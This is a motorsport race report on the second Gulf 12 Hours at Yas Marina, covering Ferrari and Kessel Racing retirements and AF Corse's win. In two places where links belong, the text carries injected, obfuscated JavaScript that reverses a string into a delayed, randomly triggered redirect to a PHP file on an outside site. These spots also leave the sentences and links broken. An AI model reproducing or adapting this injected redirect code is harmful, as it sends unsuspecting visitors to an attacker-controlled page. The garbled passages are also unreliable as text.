Luck so very rarely plays by the rules though. Just as early race favourites United Autosports had fallen foul to gearbox woes early on in race one (and who were now trying to battle back from 18th), amazingly both Kessel entries developed problems almost simultaneously. The #4 entry soon coasted onto pitroad from 11th much to the bemusement of drivers Tiziano Carugati, Mario Cordoni and Mathias Beche, and the sister #3 Ferrari was soon in hot pursuit, loose bodywork undoing all of Broniszewski, Peter and Zampieri’s hardwork by destroying the tyres.
The guys at ASM could empathise, a spark plug issue in race one losing them over an hour of repair time. The problem would resurface in race two, dropping Rob Bell, Karim Ojjeh and former-British Formula 3 Champion Alvaro Parente to 18th at the flag, one place and two laps behind the United Autosports crew.
Down and seemingly out, the Kessel entries rejoined the fray down in 12th and 8th respectively, a lot of work to be done with little time to do it. All the while the AF Corse train marched on, seemingly impregnable. Almost.
With just two hours left to run, another lame prancing horse hobbled to the pits, the #2 machine of Stephane Sarrazin, Nicholas Minassian and Enzo Potolicchio falling victim to wheel bearing issues. What had seemed at the beginning of the day – given the 458s whitewash of the top five in qualifying – to be an-all Ferrari affair was suddenly evaporating before their eyes. Only two Ferraris remained on the lead lap.
Back into contention then fell the Autolando car of Di Guida and the Bleekemolen brothers. Back on the lead lap and now on the podium, just over a minute stood between the #6 Porsche and an upset at Yas Marina. Terminal gearbox problems for the GTX-category leading #23 Ebimotors entry demonstrated that the 997 was susceptible, but a change to the top three in the closing stages was not out of the question, and the #6 machine continued its push.
In the end, $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/gulf-12hrs-2012-take-two-in-december/” target=”_blank”>the second Gulf 12hrs ended much as the first had done: AF Corse mechanics and drivers alike embracing on pitroad after taking the chequered flag just 25s ahead of the polesitting #11 AF Waltrip car of Popow, Dalziel and Kaffer.
The Autolando car made it an all-Italian podium under the Abu Dhabi lights. Granted, after qualifying, many had expected three Italian national flags over the podium. Fewer had expected one of those to represent a Porsche. Once again, in the paddock below, Kessel Racing could only look on and wonder what might have been. Surely though, their time will come soon enough.
For full results, click HERE.
– Shots courtesy of David Benson. Be sure to check out $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/galleries/album/01/gulf-12hrs-dec-12/” target=”_blank”>the full Gulf 12hrs gallery HERE.
